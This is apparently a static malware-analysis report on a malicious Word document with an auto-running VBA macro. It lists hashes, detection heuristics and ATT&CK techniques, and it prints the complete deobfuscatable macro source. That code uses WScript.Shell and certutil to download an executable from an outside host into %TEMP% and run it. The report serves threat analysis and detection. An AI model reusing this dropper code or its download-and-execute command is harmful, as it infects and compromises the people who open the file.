Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 120867877c44c4f0…

MALICIOUS

Office (OOXML)

248.0 KB Created: 2019-05-25 05:49:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-08-04
MD5: 19de1c81733e302c8375235085c3b8a6 SHA-1: 88c72b5ad2cb8bfa29ed363565799049bfe73b34 SHA-256: 120867877c44c4f0680e21ca63c43f97ed933f169bf0bd9fbe5f426b4006e4cd
332 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

This OOXML document contains a VBA macro that executes upon opening, indicated by the Document_Open heuristic. The macro uses obfuscation, including reassembling API names like 'WScript.Shell', and references 'cmd.exe', suggesting an attempt to download and execute a secondary payload. The ClamAV detection 'Doc.Dropper.Agent-6412232-1' further supports its role as a dropper.

Heuristics 9

  • ClamAV: Doc.Dropper.Agent-6412232-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6412232-1
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
    Matched line in script
    Application.Run yn & horembnyzbnidpnksfantweg & uwiovtlvyxcfu
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    k = "WScript" & ".S" & "hell"
    With CreateObject(k)
        .Run bFNBzejUK, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965223507171466558669015372347853185123047524556333900563576839593172803245215818260", 50), 1), 1), True
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    nylycegrcncywoxtdgcbwfverw = "cmd /c" & _
" " & _
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
Call baoqznrducbgauzmrfmwcwz
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://thecampaign24h.com/wp-content/themes/dt-the7/fonts/icomoon-the7-microwidgets-16x16/ClientC.exe In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 13822 bytes
SHA-256: cc314fe52bbfcf1577cfb6066e13f9217a12472bf422af356bfbbc2b7cf344fe
Detection
ClamAV: No threats found
Obfuscation or payload: likely
106 of 163 identifiers look randomly generated (e.g. 'ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch6264') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True


Private Sub Document_Open()
Call baoqznrducbgauzmrfmwcwz
End Sub

Private Sub baoqznrducbgauzmrfmwcwz()

Dim s34 As Object



If 88.2 = 22.2 Then
Else

End If
If 9 = 8 Then

Else


Dim yn As String
yn = "JaDWHqOq.PvcBhdt"


Dim ljgzevzmclwrottvpgpcnylvwa

Application.Run yn & horembnyzbnidpnksfantweg & uwiovtlvyxcfu

End If





End Sub




Attribute VB_Name = "JaDWHqOq"
#If VBA7 Then


#Else


#End If

#If VBA7 Then
Private Declare PtrSafe Function vbcvhsfgzqaqosjqpwgniagy Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Const pdooeefueqdfxilfhjlybpibgviwphgchcos = 2

#Else
Private Declare Function vbcvhsfgzqaqosjqpwgniagy Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
#End If


#If VBA7 Then
Const iitxoycjxsfnwonulkumij = 370
Private Declare PtrSafe Function fyynnbtujljugwyapbxqgicvjtoucpv Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function fyynnbtujljugwyapbxqgicvjtoucpv Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If



#If VBA7 Then
Private Declare PtrSafe Function awhildyxtiygvpjohl Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Const ordnsmldp = 2
#Else
Private Declare Function awhildyxtiygvpjohl Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
#End If
#If VBA7 Then
Private Declare PtrSafe Function vp Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#Else
Private Declare Function vbcvhsfgzqaqosjqpwgniagy Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const wfdaj = 76

Private Declare Function fyynnbtujljugwyapbxqgicvjtoucpv Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function awhildyxtiygvpjohl Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function vp Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#End If

Private Type petnzs
     mouarseyy As Long
End Type


#If VBA7 Then


#Else


#End If
#If VBA7 Then


#Else


#End If

#If VBA7 Then
Private Declare PtrSafe Function uaxwybkroykmefcddezmcececep Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Const uzv = 637617

#Else
Private Declare Function uaxwybkroykmefcddezmcececep Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
#End If


#If VBA7 Then
Const bkjiqcrhqpn = 5516
Private Declare PtrSafe Function hsoyigedrvep Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function hsoyigedrvep Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If



#If VBA7 Then
Private Declare PtrSafe Function mkeryuhkt Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Const ydiwnzrhkytvm = 7
#Else
Private Declare Function mkeryuhkt Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
#End If
#If VBA7 Then
Private Declare PtrSafe Function goxtttmy Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#Else
Private Declare Function uaxwybkroykmefcddezmcececep Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Const urzgkdvxjbrqyodrgrkdliewdtnncle = 48

Private Declare Function hsoyigedrvep Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
Private Declare Function mkeryuhkt Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function goxtttmy Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
#End If

Private Type wwnvzxzmjux
     stynrrnxygldrhkybsqlbyoqvywhyknp As Long
End Type


#If VBA7 Then


#Else


#End If




Public Sub PvcBhdt()

On Error Resume Next




 Dim iltmbumowjsybquxzdxzkjxpjthnjriwhrru As Integer
    Dim akmnhvmpvtwyihdgepoedimzffbwrj As Variant
    Dim ljxcvfcsjvwkrkrsxnwkx As String
    






  
      
        
'qqsotzjaqfmstuywbyvjugnajezexavcgiltmbumowjsybquxzdxzkjxpjthnjriwhrru1ÖýÏÌ?·®ß�?¥�·Ê®²ØβÒߣ¸·
'ßĺÉÉ�ŪÓØ«ÒÑ?¸
'oloduwqrefzsxogqfivwfybeffnxjrwhkbfxnekq02486569
'4242





   Dim qqsotzjaqfmstuywbyvjugnajezexavcg(116) As String
        qqsotzjaqfmstuywbyvjugnajezexavcg(5) = "ßĺÉÉ�Ū"
        qqsotzjaqfmstuywbyvjugnajezexavcg(6) = "ÓØ«ÒÑ?¸"
        qqsotzjaqfmstuywbyvjugnajezexavcg(7) = "ÖýÏÌ?·®ß�?¥�·Ê®²ØβÒߣ¸·"
        qqsotzjaqfmstuywbyvjugnajezexavcg(1) = CStr(42)







'fxnekqiltmbumowjsybquxzdxzkjxpjthnjriwhrru02486569
'xpogucneczwticaegntnbzgsfplubzotohol1
'ohwhcdbsheuweoqpvaivafqscdkdeanxpogucneczwticaegntnbzgsfplubzotohol4



    Select Case 74
            Case Else
        End Select




'oloduwqrefzsxogqfivwfybeffnxjrwhkb
'ztqreloukwjksamphsttwtfgpywduxtgopxpogucneczwticaegntnbzgsfplubzotohol#Q14
'jrimnxcbdtxoq
'4xpogucneczwticaegntnbzgsfplubzotohol




 Do Until 4012 = 4012
              Dim xfxycwfidldzhzbsjftgfrkzmctd As Object
      Randomize
        Loop





        
'1oloduwqrefzsxogqfivwfybeffnxjrwhkb
'9683351842
'02486569iltmbumowjsybquxzdxzkjxpjthnjriwhrru
        
        
             If jrimnxcbdtxoq = "àÛÀÃÉ�Á¹è???¢«º° èÛ¯ÉÏ" Then
            Dim ztqreloukwjksamphsttwtfgpywduxtgop
            
            jrimnxcbdtxoq = 3745783751850#
        End If
        
        


        
        Dim arrexvvggvowmqpfxsxtnhckyzcbxrsa, bdhscgkegvhotdzbnsoijkpeiehhcidooo, cxxxubtvtrkadkhefamccdqqprtqhf
For arrexvvggvowmqpfxsxtnhckyzcbxrsa = 1 To 1 Step -1
cxxxubtvtrkadkhefamccdqqprtqhf = 42
        Next arrexvvggvowmqpfxsxtnhckyzcbxrsa
        

        


        'rrexvvggvowmqpfxsxtnhckyzcbxrsaulbdpxrqatulbdpxrqatdhscgkegvhotdzbnsoijkpeiehhcidooohpyhzfqxvcdgzqodkrgeu
'dhscgkegvhotdzbnsoijkpeiehhcidooohpyhzfqxvcdgzqodkrgeuvnyhzhcqpvszoiqvsffsvevfwemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'xxxubtvtrkadkhefamccdqqprtqhfdhscgkegvhotdzbnsoijkpeiehhcidooodhscgkegvhotdzbnsoijkpeiehhcidooohpyhzfqxvcdgzqodkrgeu
'mpfxeizhpdhlnzfyatnkwsvnyhzhcqpvszoiqvsffsvevfwspspfinzhpyhzfqxvcdgzqodkrgeu
'ulbdpxrqatvnyhzhcqpvszoiqvsffsvevfwfmzccuguqbazuqspxofcbjrknxwbmrtkwdhscgkegvhotdzbnsoijkpeiehhcidooo
'spspfinzhpyhzfqxvcdgzqodkrgeuvnyhzhcqpvszoiqvsffsvevfwemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'fmzccuguqbazuqspxofcbjrknxwbmrtkwdhscgkegvhotdzbnsoijkpeiehhcidoooemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'vnyhzhcqpvszoiqvsffsvevfwemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'xfxycwfidldzhzbsjftgfrkzmctdmpfxeizhpdhlnzfyatnkwsulbdpxrqatemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'bsuuvzehkfjoulbdpxrqathpyhzfqxvcdgzqodkrgeu


        
        If IsDate(qeqhrdvierxayxiifggctnxa) And ((96833518 + 1) / (4 + 65512)) <> 4.65461802254765E+16 Then
          lfxcaqkdhvrogvega = "cshhazj" & CStr("keptmzxxgye")
End If
        




'yjfuhcykycabkjtnzpsvnyhzhcqpvszoiqvsffsvevfwtylbgpflikzbxjrlxmpfxeizhpdhlnzfyatnkws
'emfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidoooemfkqsoryxdhscgkegvhotdzbnsoijkpeiehhcidooo
'hpyhzfqxvcdgzqodkrgeufmzccuguqbazuqspxofcbjrknxwbmrtkwdhscgkegvhotdzbnsoijkpeiehhcidooo
'mqwimugkoomivuxtcimunsvgbghaaywyqwulbdpxrqatspspfinzhpyhzfqxvcdgzqodkrgeu
'tylbgpflikzbxjrlxmpfxeizhpdhlnzfyatnkwsspspfinzhpyhzfqxvcdgzqodkrgeu
'ÖýÏÌ?·®ß�?¥�·Ê®²ØβÒߣ¸·Q14
'ÓØ«ÒÑ?¸Q11

 Dim iygrle As Integer
    Dim vjpggncotftmuhmzeaxhqaxjrefif As Variant
    Dim lfbsrutultmz As String
    






  
      
        
'dbsznanmoqzchidiygrle3728ìÙºÎÚ£³³ê?¤¥?¯Ê
'ÔاÑÏ?Áµæ¬?©�àÊ»Òâ
'aknxfigmqgfcqaryxvjlwqndpoqvpquyjxnqtarakhrewkxaideswcrsst968
'9595





   Dim dbsznanmoqzchid(181) As String
        dbsznanmoqzchid(7) = "ÔاÑÏ?Áµæ¬?©�"
        dbsznanmoqzchid(2) = "àÊ»Òâ"
        dbsznanmoqzchid(4) = "ìÙºÎÚ£³³ê?¤¥?¯Ê"
        dbsznanmoqzchid(7) = CStr(95)







'poqvpquyjxnqtarakhrewkxaideswcrsstiygrle968
'fqsqvjrjoqqnmlbb3728
'yyazcvlmcfshlnwlucelwjbjmyplifqsqvjrjoqqnmlbb060862308



    Select Case 80
            Case Else
        End Select




'aknxfigmqgfcqaryxvjlwqnd
'stlfbcvsdhnzzvhocaysrfqsqvjrjoqqnmlbb#Q14
'ihh
'060862308fqsqvjrjoqqnmlbb




 Do Until 1196 = 1196
              Dim zvbnddkhwxrqyamgvll As Object
      Randomize
        Loop





        
'3728aknxfigmqgfcqaryxvjlwqnd
'9955077395
'968iygrle
        
        
             If ihh = "äèÈ" Then
            Dim stlfbcvsdhnzzvhocaysr
            
            ihh = 72090876706137#
        End If
        
        


        
        Dim ayaqmlrbzbzadra, bbxbuopsnecgmtsgvpb, cwqpnicstftdmhpzs
For ayaqmlrbzbzadra = 3728 To 3728 Step -1
cwqpnicstftdmhpzs = 95
        Next ayaqmlrbzbzadra
        

        


        'yaqmlrbzbzadraczuewsdczqtcfasloczuewsdczqtcfaslobxbuopsnecgmtsgvpbbhebfsyssvqfoisgmxlabnxnmrgfqzsq
'bxbuopsnecgmtsgvpbbhebfsyssvqfoisgmxlabnxnmrgfqzsqdklkkhuxeswvcvcjgywivfvbralvamafbxbuopsnecgmtsgvpb
'wqpnicstftdmhpzsbxbuopsnecgmtsgvpbbxbuopsnecgmtsgvpbbhebfsyssvqfoisgmxlabnxnmrgfqzsq
'kgrlfljoawmxbdklkkhuxeswvcvcjgywivfvizwlpdswqkreuvwejxpnprdkoobhebfsyssvqfoisgmxlabnxnmrgfqzsq
'czuewsdczqtcfaslodklkkhuxeswvcvcjgywivfvdvucabxbuopsnecgmtsgvpb
'izwlpdswqkreuvwejxpnprdkoobhebfsyssvqfoisgmxlabnxnmrgfqzsqdklkkhuxeswvcvcjgywivfvbralvamafbxbuopsnecgmtsgvpb
'dvucabxbuopsnecgmtsgvpbbralvamafbxbuopsnecgmtsgvpb
'dklkkhuxeswvcvcjgywivfvbralvamafbxbuopsnecgmtsgvpb
'zvbnddkhwxrqyamgvllkgrlfljoawmxbczuewsdczqtcfaslobralvamafbxbuopsnecgmtsgvpb
'ybixltbztcctoubwhiwipczuewsdczqtcfaslobhebfsyssvqfoisgmxlabnxnmrgfqzsq


        
        If IsDate(aevxclggjlbhsdliyllfuvu) And ((99550773 + 3728) / (60862308 + 7570)) <> 1.71680141422056E+17 Then
          hbxayeipvvqkqjn = "vumrxpggodhwtxihduvndjy" & CStr("umc")
End If
        




'lqhmnxycfzikrpnltcsdafmdbgbdklkkhuxeswvcvcjgywivfvxnefdbyfnbsktxukgrlfljoawmxb
'bralvamafbxbuopsnecgmtsgvpbbralvamafbxbuopsnecgmtsgvpb
'bhebfsyssvqfoisgmxlabnxnmrgfqzsqdvucabxbuopsnecgmtsgvpb
'bpfukvnczuewsdczqtcfasloizwlpdswqkreuvwejxpnprdkoobhebfsyssvqfoisgmxlabnxnmrgfqzsq
'xnefdbyfnbsktxukgrlfljoawmxbizwlpdswqkreuvwejxpnprdkoobhebfsyssvqfoisgmxlabnxnmrgfqzsq
'ìÙºÎÚ£³³ê?¤¥?¯ÊQ14
'àÊ»ÒâQ11









Do While 140 < 2
   Select Case jedbumibxfoyhrsaqpmcrmvhvapqsstjpu
            Case "ÔÓ¨ÏÚ£³£è?¢", "äʧÊÍ", "ÝÒ·¼Ð¡·«á«??«"
               zxcbnmmf1 = "ãͪÑá?¯­Ú¤???°Ä«´×ѬÒÛ?¹§Ý��??¹¼"
            Case "ÕŽ¿Ö?¼¼è£", "ß÷"
               zxcbnmmf2 = "ÖÒ¾ÊÝ�»¼â�?©?·¼£³Úø½É�"
            Case "ëͪÍÉ?¸¹", "ÛÙ¸ÊÓ ¿¤î§�¢?¸Â·«âÕ°Ã"
                zxcbnmmf3 = "ØŹÁÊ?´£ä??�¬­»¨¸åز"
            Case Else
               zxcbnmmf4 = "vkvsdaslumhyhcflrfoatqtedy"
    End Select

Exit Do
Randomize
Loop



Dim uhai As String
Dim hhbelbmidxzrlyqk As Integer


hhbelbmidxzrlyqk = 4364
uhai = "AoAhAknac8M3ZeraEs1b"





Do While 120 < 8
   Select Case nqjonlgspmgcfabfnaztk
            Case "ÕׯÄÍ¡°¯â¢", "ÕƶÂÑ?°ªà??", "ÔdzÅÐ"
               zxcbnmmf1 = "ÚܲÆß?Æ£Û?�??¿"
            Case "ÕÚ½¼Í?´¼ß?�?¤½Ê§", "ëÙ¬ÂÓ?¼¹Û??¡?«Ä¶±Üʵ½Û?"
               zxcbnmmf2 = "äÌ´"
            Case "ÙÅÀÏÎ�Ä", "ìܽÀÕ ·ªß??¡?¼À´¥áܺ¼ß?®«"
                zxcbnmmf3 = "ßÚ"
            Case Else
               zxcbnmmf4 = "wrsleqhscmv"
    End Select

Exit Do
Randomize
Loop



Dim hvmfzdfluzygprptfqtbvyerszotymarjmg As String
Dim hn As Integer


hn = 4364
hvmfzdfluzygprptfqtbvyerszotymarjmg = "AoAhAknac8M3ZeraEs1b"





zzz = Left$("cenYiuR5W9lkJ1QFNdp1LOXr3xpUnASRRgA44xMoMDOiPLjv1mbgD8qYSOYp2xGk7JtbiL28sFyhxiKYc", Log(10) - Log(2))




a = Left("ECegLTKJFa BPycJRRJQ zCWHHZJemt", 1)
'Right function
b = Right("HCegLTKJFa BPycJRRJQ zCWHHZJemH", 1)


f = Right("HCegLTKJFa BPycJRRJQ zCWHHZJemT", 1)

'Mid function
c = Mid("ECegLTKJFa BPycJRRJQ zCWHHZJemt", 1, 11)
'Split function
d = Split("ECegLTKJFa BPycJRRJQ zCWHHZJemt", " ")
For Each wrd In d
strg = strg & wrd & ", "
Next


nylycegrcncywoxtdgcbwfverw = "cmd /c" & _
" " & _
zzz & "rtutil" & _
" " & _
"-urlcache" & _
" " & _
"-split" & _
" " & _
"-f" & _
" " & _
"http://thecampaign24h.com/wp-content/themes/dt-the7/fonts/icomoon-the7-microwidgets-16x16/ClientC.exe" & _
" " & _
"%TEMP%\vmdkdymjqjwtmcgggusma.exe" & _
"&" & _
" " & _
"%TEMP%\vmdkdymjqjwtmcgggusma.exe"



vn (nylycegrcncywoxtdgcbwfverw)





End Sub












Sub vn(bFNBzejUK As String)
Dim k As String
k = "WScript" & ".S" & "hell"
    With CreateObject(k)
        .Run bFNBzejUK, Left(Left(Mid("ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch626463965223507171466558669015372347853185123047524556333900563576839593172803245215818260", 50), 1), 1), True
    End With
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 36864 bytes
SHA-256: 4dc7692f02b6d78f3ae9c9f5f40adbe4bb8fa8bb30743999dfdf312e893d684e
Detection
ClamAV: Doc.Dropper.Agent-6412232-1
Obfuscation or payload: likely
260 of 419 identifiers look randomly generated (e.g. 'ingfbbamkodhqcwtpzhbcpxqaaigdjmoadch6264') — consistent with name-mangling obfuscation. Carved artifact contains 2 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.